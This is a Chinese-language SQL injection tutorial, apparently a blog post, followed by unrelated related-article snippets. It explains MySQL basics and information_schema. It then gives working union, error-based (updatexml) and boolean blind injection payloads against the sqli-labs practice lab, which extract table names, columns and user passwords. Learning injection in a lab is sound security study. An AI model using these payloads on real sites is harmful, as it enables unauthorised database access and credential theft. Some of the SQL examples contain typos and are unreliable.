【web安全】——sql注入
1.MySQL基础
1.1information_schema数据库详解
简介:
在mysql5版本以后,为了方便管理,默认定义了information_schema数据库,用来存储数据库元数据信息。schemata(数据库名)、tables(表名tableschema)、columns(列名或字段名)。
schemata表详解
在schemata表中,schema name字段用来存储用户创建的所有数据库名

tables表详解
tables表存储该用户创建的所有数据库的库名和表名,table schema用来存储该数据隶属于哪个数据库,table name用来存储表名。
columns表详解
columns表存储了mysql下的每一个数据表中的所有列名,column_name用来存储字段名table name用来存储该字段属于哪一个数据表、table schema用来存储当前字段所属数据表所在的数据库名称。
1.2常用sql语句
show databases; 查看所有数据库
create database testl;创建一个名为test数据库
drop database test; 删除一个叫test的数据库
use test 选中库
show table 在选中的数据库中查看所有表
create table 表名(字段1 类型,字段2,类型)
desc 表名 ; 查看所在的表的字段
show create database 库名;查看创建库的详细信息
show create table 表名;查看创建表的详细信息
查询
1.条件查询
select username,name from user,goods where user,gid=dods,gid;
修改表的命令
1.修改字段类型 alter table 表名 modify字段 字段类型;
2.添加新的字段 alter table 表名 add 字段 字段类型
3.添加字段并指定位置 alter table 表名 add字段 字段类型 after 字段;
4.删除字段 alter table 表名 drop 字段名
5.修改指定字段 alter table 表名 change 原字段名字 新的字段名字 字段类型
对数据库的操作命令
1.增加数据的方式
insert into 表名 values(值1,值2,....)
insert into 表名(字段1,字段2,....)values(值1,值2,....),值1,值2,....)
2.删除数据
delete from 表名 where 条件 注意:where 条件必须加,否则数据会被全部删除
3.更新数据.
update 表名 set字段1=值1,字段2=值2 where 条件
4.查询数据
查询表中所有数据 select * from 表名
指定数据查询 select 字段 from 表名
根据条件查询出来的数据 select 字段 from 表名 where 条件
where 条件后面跟的条件关系:>,<,>=,<=,!= 逻辑:or,and 区间:id between 4 and 6;闭区间,包含边界
5.排序
select 字段 from 表 order by 字段 非序关键词(desclasc)desc 降序 asc 升序(默认)
6.常用的统计函数
sum,avg ,count,max,min
只分组:select * from 表 group by 字段
分组统计:select count(sex)from star group by sex;
7.分组 select * from 表名 limit 偏移量,数量说明
1.3常用函数
| 函数 | 作用 |
| version() | 查看mysql数据库版本 |
| user() | 查看数据库用户名 |
| database() | 查看数据库名称 |
| @@basedir | 查看数据库安装路径 |
| @@datadir | 查看数据库文件存放路径 |
| @@version_compile_os | 查看操作系统版本 |
1.3.1union联合注入函数
concat()用来拼接字符串,直接拼接,字符串之间没有符号
concat_ws() 可以指定符号拼接字符串
group_caoncat() 指定符号拼接字符串
1.4mysql中的注释符
#单行注释 url编码为%23
--空格 单行注释
/*()*/多行注释
1.5常见数据库默认端口号
关系型数据库
mysql 3306
sqlserver 1433
oracle 1521
psotgresql 5432
非关系型数据库
MongDB 27017
Redis 6379
2.sql注入基础
2.1漏洞成因原理
web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并且并提供前端展示的资源,而资源就存储在数据库中。而sql注入漏洞形成的原因就是,web应用程序对用户输入的参数未做好过滤,导致攻击者可以构造sql语句,在管理员不知情情况下实现非法操作,一起获取关键信息。
必要成因
参数用户可控
参数带入数据库中查询
2.2漏洞的危害
1.获取网站服务器中的数据 数据库中存放的用户的隐私信息的泄露。
2.写入木马获取shell 修改数据库一些字段的值,嵌入网马链接,进行挂马攻击
3.网页篡改 通过操作数据库对特定网页进行篡改
4.添加恶意用户
5.权限提升,安装后门 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统
2.3sql注入分类
2.3.1按数据类型分类
数字型;字符型;搜索型
2.3.2按提交方式分类
get型 post型 http头型
2.3.3按注入手法分类
union联合注入
union 函数用于对两个或者多个sql查询结果进行取并集操作。
盲注(布尔盲注,时间盲注,dnslog外带注入)
报错注入(闭合符报错注入、报错函数(updatexmk,exp,floor))
异或注入
二次注入
宽字节注入
堆叠注入
2.4判断注入点
2.4.1方法
(以数字型为例 )
单引号判断
如果页面返回错误,则存在sql注入
?id=1 and 1=1 页面正常
?id=1 and 1=2 页面不正常
select * from users where id and 1=1 limt 0,1 页面正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 页面不正常
2.4.2注入类型判断
select*from user where id=1and1=1
如果满足,就是一个数字类型(确定id=1存在)
3.union联合注入
联合注入是回显注入的一种,也就是说联合注入的前提条件就是需要页面上有回显位。联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的列数要相同,不然会出现报错。
前提:
1、union select 查询的列数要和它之前的语句返回的列数相同(重点)
2、每列的数据类型要相同
基本思路:
判断注入点->判断类型->构造闭合->判断类型->判断显示位->获取数据库信息->获取表名->获取列名->获取字段名
3.1判断注入点与注入类型
以sql-labs第一关为例
?id=1 and 1=2(先输入id=1 然后在后面拼接1=2)
显示正常 说明1=2没有被执行

尝试加引号进行闭合
?id=1' and 1=2
页面出现错误,说明1=2被执行,说明我们输入的sql语句被成功执行
因此判断出 注入点在引号后面,注入类型为字符串型

查看源码,符合猜想

![]()
3.2判断字段数
使用order by 1,2,3...尝试
在尝试到4的时候页面出现错误,说明字段数为3

![]()
3.3判断回显点
使用联合查询 因为字段数为3 所以 union select 1,2,3

![]()
为什么没有显示出回显点呢???
因为此时 显示id=1时的界面 可以将id改为不存在的数或一个大点的数字
可以看到 回显点为2,3

3.4查询数据库
![]()
?id=1' union select 1,database(),3 -- +
查询数据库 使用database()
回显点可以看到 数据库名称为 security

3.5获取表名
![]()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table schema='security'--+
也可以使用limit逐个查询
使用group_concat 但如果表名过多可能会显示不完整

![]()

![]()

3.6查询列名
![]()
?id=-1 union select 1,2,group_concat(column_name) frominformation_schema.columns where table_name='users'--+
在users表中查到了 id与password字段

![]()
3.7查数据
?id=-1 union select 1,group_concat(username),group_concat(password) from users-- +

![]()
4.报错注入
4.1原理:
报错注入就是利用数据库的某些机制,人为的去构造sql错误,使得想要的信息能够通过报错信息得到
4.2常见报错函数
floor();extractValue();updateXml();NAME_CONST();jion();exp()
4.2.1floor函数报错注入
floor报错注入是利用数据库表主键不能重复的原理,使用group_by分组,产生主键冲突,导致报错。要保证floor报错注入,那么必须保证査询的表必须大于三条数据,并且mysql版本需满足大于5.0小于8.x的条件。
select count(*),floor(rand(0)*2)xfrom ceshi group by x;
floor():向下取整,例如select floor(1.7),返回1rand():返回一个0~1的随机数,如果是rand(0)或rand(1),则每次执行的结果是相同的COUNT(*):返回值的条目,与count()的区别在于其不排除NULL,count()如果统计到NULL,返回的结果即为NULL。
group by():语句用于结合聚合函数,根据一个或多个列对结果集进行分组。
4.2.2updateXml()报错注入
先了解一下updatexml函数的语法
updatexml(XML document,xpath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法的话可以上网搜搜,这里你只需要知道如果不满足新path格式的字符串那么都会产生报错。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
利用:我们可以构建一个非法的路径,在第二个参数中。 concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
在第二个参数中,将我们的恶意语句用concat函数包裹起来即可,此时程序的报错信息中就会返回执行我们恶意命令后的结果
4.2.3extractValue()报错注入
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath string(Xpath格式的字符串)
原理同updatexml,都是构建非法路径,通过报错信息得到我们想要的信息
5.盲注
5.1原理
程序员在开发过程中,隐藏了数据库的内建报错信息,并替换为通用的错误提示,那么SQL注入将无法依据报错信息判断注入语句的执行结果,这就是“盲”的意思。
其中,盲注又分为时间盲注与布尔盲注
布尔盲注:当页面只有正常(true)与不正常(false)两种回显时候,我们通过自己输入的sql语句与页面的回应,去判断数据信息。
时间盲注:通过sql语句与sleep()函数进行拼接,通过判断网站sleep时间去判断我们输入的sql语句是否正确,得到想要的信息。
5.2盲注的步骤
求数据库名的长度及ASCII->求当前数据库表的ASCII->求当前数据库表中的个数->求数据库中表名的长度>求数据库中表名->求列名的数量->求列名的长度->求列名的ASCII->求字段的数量->求字段的长度->求字段内容ASCII
5.3布尔盲注
5.3.1布尔盲注使用的函数
substr()截取函数
语法:substr(str,start, length)
第一个参数str为被截取的字符串。
第二个参数start为开始截取的位置。
第三个参数1ength为截取的长度。
left()截取函数
语法:left(str,length)
第一个参数str为被截取的字符串。
第二个参数1ength为截取的长度,
right()截取函数
语法:rigth(user(),2)
参考left()函数用法。
length()计算函数
语法:length(str)
第一个参数str为字符串。
5.3.2布尔盲注演示
1.判断注入点与注入类型同上 不再做演示
2.判断数据库版本
?id=1'and left(version(),1)=5--+
页面显示正常,说明版本号第一个数字为5,以此类推将版本号找出来
3.猜测数据库名字长度
同理,通过各种大于号,小于号的判断,观察页面显示是否正常,判断出数据库长度大概所在范围
?id=1'and length(database())=8--十
页面显示正常,说明数据库名字长度为8
4.判断数据库名
?id=1'and ascii(substr(database(),1,1))>100--+ 页面正常
?id=1'and ascii(substr(database(),1,1))<120--+页面正常?
说明,数据库名的第一个字符的ASCII码位于100-120之间,继续判断
?id=1'and ascii(substr(database(),1,1))=115 --+ 页面正常
查询ASCII表后得知 数据库名第一个字母为s 以此类推,将数据库名字推理出来
5.猜测表的数量
?id=1'and (length((select table_name from information_schema.tables where
table_ schema='security'limit 4,1)))>0--+页面不正常
limit替换为3,1的时候正常 说明表的数量为4
limit 4,1表示从4开始取第一个表,即第五张表,页面显示不正常,而3,1正常说明为数量4
6.猜测表名的长度
与猜测库名长度的sql语句类似,只是length的对象变成了表
7.猜测表名
同上,与猜数据库名的方法类似,将substr中的数据库换位表
8.猜测列数
同理使用length(),参数变为column_name
9.猜测列名长度
见猜测表名长度
10.猜测列名
见猜测表名
11.猜测字段名长度
?id=1'and (length((select username from users limit 0,1)))=4--+
12.猜测字段名
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68--+
结果为大写D 依次类推
由于靠上面猜测过于费时费力,因此对于盲注我们常常使用脚本辅助
相关文章:
【web安全】——sql注入
1.MySQL基础 1.1information_schema数据库详解 简介: 在mysql5版本以后,为了方便管理,默认定义了information_schema数据库,用来存储数据库元数据信息。schemata(数据库名)、tables(表名tableschema)、columns(列名或字段名)。…...
vue基础面试题
1.Vue指令 v-bind:动态绑定数据 v-on:绑定事件监听器 v-for:循环指令,可以循环数组或对象 v-if:根据表达式的真假值,判断是否渲染元素,会销毁并重建 v-show:显示隐藏元素࿰…...
关系型数据库和非关系型数据库的区别
1.常见的主流数据库 关系型数据库: MySql 、达梦 、PostgreSQL 、Oracle 、Sql Server 、Sqlite非关系型数据库: Redis 、MongoDB 、HBase 、 Neo4J 、 CouchDB 2.介绍 关系型数据库最典型的数据结构是表,由二维表及其之间的联系…...
学习之什么是迭代器
什么是迭代器 迭代器的作用:访问容器中的元素 首先要了解什么是Iterablelterable(可迭代的) 字符串、列表、元组、字典都是lterable,都可以放到for循环语句中遍历 lterable类型的定义中一定有一个_iter_方法iter 方法必须返回一个lterator(迭代器) 可以…...
数据结构-3.6.队列的链式实现
队列可以理解为单链表的阉割版,相比单链表而言,队列只有在添加和删除元素上和单链表有区别 一.队列的链式实现: 1.图解: 2.代码: #include<stdio.h> typedef struct LinkNode //链式队列结点 {int data;st…...
Java中去除字符串中的空格
在平时的开发中,在后端经常要获取前端传过来的字符串,有的是用户从输入框中输入的,有的是通过excel表格中获取的。 在这些字符串中,有时候会遇到字符串中有空格、换行符或者制表符,对于这种字符串来说,直接…...
AI大模型算法工程师就业宝典—— 高薪入职攻略与转行秘籍!
从ChatGPT到新近的GPT-4,GPT模型的发展表明,AI正在向着“类⼈化”⽅向迅速发展。 GPT-4具备深度阅读和识图能⼒,能够出⾊地通过专业考试并完成复杂指令,向⼈类引以为傲的“创造⼒”发起挑战。 现有的就业结构即将发⽣重⼤变化&a…...
node-rtsp-stream、jsmpeg.min.js实现rtsp视频在web端播放
1. 服务地址(私有):https://gitee.com/nnlss/video-node-server 2.node-rtsp-stream 需要安装FFMPEG; 3.给推拉流做了开关,可借助http请求,有更好方式可联系; 4.存在问题: 1&…...
C++ 9.27
作业: 将之前实现的顺序表、栈、队列都更改成模板类 Stack #include <iostream> using namespace std; template <typename T> class Stack { private: T* arr; // 存储栈元素的数组 int top; // 栈顶索引 int capacity; // 栈的…...
让具身智能更快更强!华东师大上大提出TinyVLA:高效视觉-语言-动作模型,遥遥领先
论文链接:https://arxiv.org/pdf/2409.12514 项目链接:https://tiny-vla.github.io/ 具身智能近期发展迅速,拥有了大模型"大脑"的机械臂在动作上更加高效和精确,但现有的一个难点是:模型受到算力和数据的制…...
Excel 获取某列不为空的值【INDEX函数 | SMALL函数或 LARGE函数 | ROW函数 | ISBLANK 函数】
〇、需求 Excel 获取某列不为空的值(获取某列中第一个非空值 或 获取某列中最后一个非空值)。 一、知识点讲解 INDEX函数 和 SMALL函数 两个函数搭配使用都可以实现上述需求 获取某列中第一个非空值 。 INDEX函数 和 LARGE函数 两个函数搭配使用都可以实现上述需求 获取某…...
爆火!大模型算法岗 100 道面试题全解析,赶紧收藏!
大模型应该是目前当之无愧的最有影响力的AI技术,它正在革新各个行业,包括自然语言处理、机器翻译、内容创作和客户服务等等,正在成为未来商业环境的重要组成部分。 截至目前大模型已经超过200个,在大模型纵横的时代,不…...
Python画笔案例-068 绘制漂亮米
1、绘制漂亮米 通过 python 的turtle 库绘制 漂亮米,如下图: 2、实现代码 绘制 漂亮米,以下为实现代码: """漂亮米.py注意亮度为0.5的时候最鲜艳本程序需要coloradd模块支持,安装方法:pip install coloradd程序运行需要很长时间,请耐心等待。可以把窗口最小…...
得物App荣获国家级奖项,正品保障引领潮流电商新风尚
近日,在2024年中国国际服务贸易交易会上,得物App凭借其在科技创新保障品质消费领域的突出成果,再次荣获国家级殊荣——“科技创新服务示范案例”。这是继上海市质量金奖之后,得物App获得的又一个“高含金量”奖项。 作为深受年轻人…...
【BurpSuite】SQL注入 | SQL injection(1-2)
🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍收藏💗支持一下哦 【BurpSuite】SQL注入 | SQL injection(1-2) 实验一 Lab: SQL injection vulnerability in WHERE clause…...
ThreadPoolExecutor有哪些核心的配置参数?
ThreadPoolExecutor 是 Java 中强大的线程池实现,具有多种配置参数,可以灵活地根据具体应用需求进行调整。以下是 ThreadPoolExecutor 的核心配置参数及其简要说明: 1. corePoolSize 描述:核心线程池的大小,即最小保…...
关于工作虚拟组的一些思考
这是学习笔记的第 2493篇文章 因为各种工作协作,势必要打破组织边界,可能会存在各种形态的虚拟组。 近期沉淀了一些虚拟组的管理方式,在一定时间范围内也有了一些起色,所以在不断沉淀的过程中,也在不断思考。 这三个虚…...
【Redis入门到精通六】在Spring Boot中集成Redis(含配置和操作演示)
目录 Spring Boot中集成Redis 1.项目创建和环境配置 2.基本操作演示 Spring Boot中集成Redis Spring社区也自定义了一套Redis的客户端,与jedis的操作方式有所差异,Spring中把每个类型的操作都单独封装了起来。下面就让我来带大家了解如何在Spring Boot…...
【CSS】透明度 、过渡 、动画 、渐变
opacity 透明度transition 过渡animation 动画background 渐变 ( 线性渐变 \ 径向渐变 \ 锥形渐变 ) opacity 透明度 设置元素的透明度,会影响元素及其所有子元素的透明度,值范围:0(完全透明)到 1(完全不透…...
尚硅谷vue3+TypeScript笔记大全
1. Vue3简介 2020年9月18日,Vue.js发布版3.0版本,代号:One Piece(n 经历了:4800次提交、40个RFC、600次PR、300贡献者 官方发版地址:Release v3.0.0 One Piece vuejs/core 截止2023年10月,最…...
SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现
摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序,以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务,提供稳定高效的数据处理与业务逻辑支持;利用 uniapp 实现跨平台前…...
C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
使用Spring AI和MCP协议构建图片搜索服务
目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式(本地调用) SSE模式(远程调用) 4. 注册工具提…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
push [特殊字符] present
push 🆚 present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中,push 和 present 是两种不同的视图控制器切换方式,它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...
智能职业发展系统:AI驱动的职业规划平台技术解析
智能职业发展系统:AI驱动的职业规划平台技术解析 引言:数字时代的职业革命 在当今瞬息万变的就业市场中,传统的职业规划方法已无法满足个人和企业的需求。据统计,全球每年有超过2亿人面临职业转型困境,而企业也因此遭…...
未授权访问事件频发,我们应当如何应对?
在当下,数据已成为企业和组织的核心资产,是推动业务发展、决策制定以及创新的关键驱动力。然而,未授权访问这一隐匿的安全威胁,正如同高悬的达摩克利斯之剑,时刻威胁着数据的安全,一旦触发,便可…...
【QT控件】显示类控件
目录 一、Label 二、LCD Number 三、ProgressBar 四、Calendar Widget QT专栏:QT_uyeonashi的博客-CSDN博客 一、Label QLabel 可以用来显示文本和图片. 核心属性如下 代码示例: 显示不同格式的文本 1) 在界面上创建三个 QLabel 尺寸放大一些. objectName 分别…...
Web APIS Day01
1.声明变量const优先 那为什么一开始前面就不能用const呢,接下来看几个例子: 下面这张为什么可以用const呢?因为复杂数据的引用地址没变,数组还是数组,只是添加了个元素,本质没变,所以可以用con…...
【笔记】结合 Conda任意创建和配置不同 Python 版本的双轨隔离的 Poetry 虚拟环境
如何结合 Conda 任意创建和配置不同 Python 版本的双轨隔离的Poetry 虚拟环境? 在 Python 开发中,为不同项目配置独立且适配的虚拟环境至关重要。结合 Conda 和 Poetry 工具,能高效创建不同 Python 版本的 Poetry 虚拟环境,接下来…...
